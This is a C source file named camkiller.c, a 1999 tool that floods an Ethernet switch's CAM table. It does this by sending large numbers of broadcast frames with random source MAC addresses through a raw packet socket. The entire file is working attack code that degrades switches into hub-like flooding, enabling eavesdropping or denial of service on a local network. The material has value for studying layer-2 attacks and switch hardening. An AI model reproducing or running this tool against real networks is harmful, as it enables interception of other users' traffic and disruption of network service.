/*
	camkiller.c

	Send enough packets out an Ethernet interface to fill up the CAM
	(Content-Addressable Memory) on the attached Ethernet switchrouter.

	ems 21nov1999
*/

#include <stdlib.h>
#include <time.h>
#include <string.h>

#define LINUX

#ifdef SunOS
#undef INET_ATON
#endif

#ifdef BSDI31
#define INET_ATON
#endif

#ifdef LINUX
#define INET_ATON
#endif

#include <stdio.h>


#define DEF_ETH_DEVICE "eth0"

#ifdef SunOS
#include <sys/types.h>         /* u_short */
#include <sys/socket.h>        /* AF_INET */
#endif  /* SunOS */

#include <fcntl.h>             /* O_RDONLY              */
#include <netinet/in.h>        /* Socket data structure */
#include <unistd.h>            /* read()                */

#ifdef LINUX
#include <linux/if_ether.h>
#endif  /* LINUX */

#ifdef BSDI31
#include <sys/types.h>        /* u_char        */
#include <sys/socket.h>       /* struct inaddr */
#include <net/if.h>           /* struct ifnet  */
#include <netinet/in.h>       /* sockaddr_in */
#include <arpa/nameser.h>     /* MAXDNAME    */
#include <resolv.h>           /* in_addr     */
#include <netinet/in_systm.h> /* n_long      */
#include <netinet/if_ether.h>
#endif  /* BSDI31 */

#ifdef SunOS
#include <sys/types.h>        /* u_char        */
#include <sys/socket.h>       /* struct inaddr */
#include <net/if.h>           /* struct ifnet  */
#include <netinet/in.h>       /* sockaddr_in */
#include <arpa/nameser.h>     /* MAXDNAME    */
#include <resolv.h>           /* in_addr     */
#include <netinet/in_systm.h> /* n_long      */
#include <netinet/if_ether.h>
#endif  /* SunOS */


/* Data Types */
#ifdef LINUX
typedef struct ethhdr my_ethhdr;
#endif  /* LINUX */
#ifdef BSDI31
typedef struct ether_header my_ethhdr;
#endif  /* BSDI31 */
#ifdef SunOS
typedef struct ether_header my_ethhdr;
#endif  /* SunOS */


/* Field Names */
#ifdef LINUX
#define ETH_FIELD_DEST h_dest
#define ETH_FIELD_TYPE h_proto
#define ETH_FIELD_SRC h_source
#define IFR_FIELD_ETH ifr_hwaddr
#endif  /* LINUX */

#ifdef BSDI31
#define ETH_FIELD_DEST ether_dhost
#define ETH_FIELD_TYPE ether_type
#define ETH_FIELD_SRC ether_shost
#define IFR_FIELD_ETH ifr_enaddr
#define ETH_HLEN 14
#endif  /* BSDI31 */

#ifdef SunOS
#define ETH_FIELD_DEST ether_dhost
#define ETH_FIELD_TYPE ether_type
#define ETH_FIELD_SRC ether_shost
#define IFR_FIELD_ETH ifr_enaddr
#define ETH_HLEN 14
#endif  /* SunOS */

int verbose = 0;

int main (int argc, char *argv[]) {
	unsigned char data[1514];
	char device[] = "eth0";
	int data_len = 0, sockid, tmpint;
	my_ethhdr *frame;
	struct sockaddr sa;
	unsigned long sent, frames_to_send = 1;

	if(argc==2) frames_to_send = atol(argv[1]);

	/* Send the frame */
	sa.sa_family = AF_INET;
	strcpy(sa.sa_data, device);

	if((sockid = socket(AF_INET, SOCK_PACKET, htons(ETH_P_ALL))) < 0) {
		perror("Socket call failed:");
		exit(-1);
	}

	srand(clock());

	memset(&data,0,1514);

	for(sent=0;sent<frames_to_send;sent++) {
		data_len = 60;
		frame = (my_ethhdr *) data;

		/* Random source and destination MAC's */
//		*( (long *) (data + 0) ) = rand();
//		*( (long *) (data + 4) ) = rand();
//		*( (long *) (data + 8) ) = rand();

		/* Random source MAC's to broadcast */
		*( (unsigned long *) (data + 0) ) = 0xFFFFFFFFL;
		*( (unsigned short *) (data + 4) ) = 0xFFFFL;
		*( (unsigned short *) (data + 6) ) = rand();
		*( (unsigned long *) (data + 8) ) = rand();

	*( (unsigned short *) (data + 12) ) = 0xFFFF;

		/* IP ethertype */
//		*( (unsigned short *) (data + 12) ) = 0x0008;

//		/* Random IP source and destination */
//		*( (long *) (data + 14) ) = rand();
//		*( (long *) (data + 18) ) = rand();
//		*( (unsigned short *) (data + 22) ) = 0x0001;

		if(verbose) {
			int i;
			printf("Frame %ld\n",sent+1);
			for(i=0;i<data_len;i++) printf("%02x%c",data[i],(i+1)%16?' ':'\n');
			puts("");
		} else
		if(!(sent%4096)) {
			printf("%10ld\r",sent);
			fflush(stdout);
		}

		fcntl(sockid, F_SETFL, O_NDELAY);

		if ((tmpint = sendto(sockid, data, data_len, 0, &sa, sizeof(sa))) < 0) {
			perror("Sendto failed:");
		exit(-1);
		}
	}
	
	shutdown(sockid,2);
	
	printf("\nDone.\n");

	return 0;
}

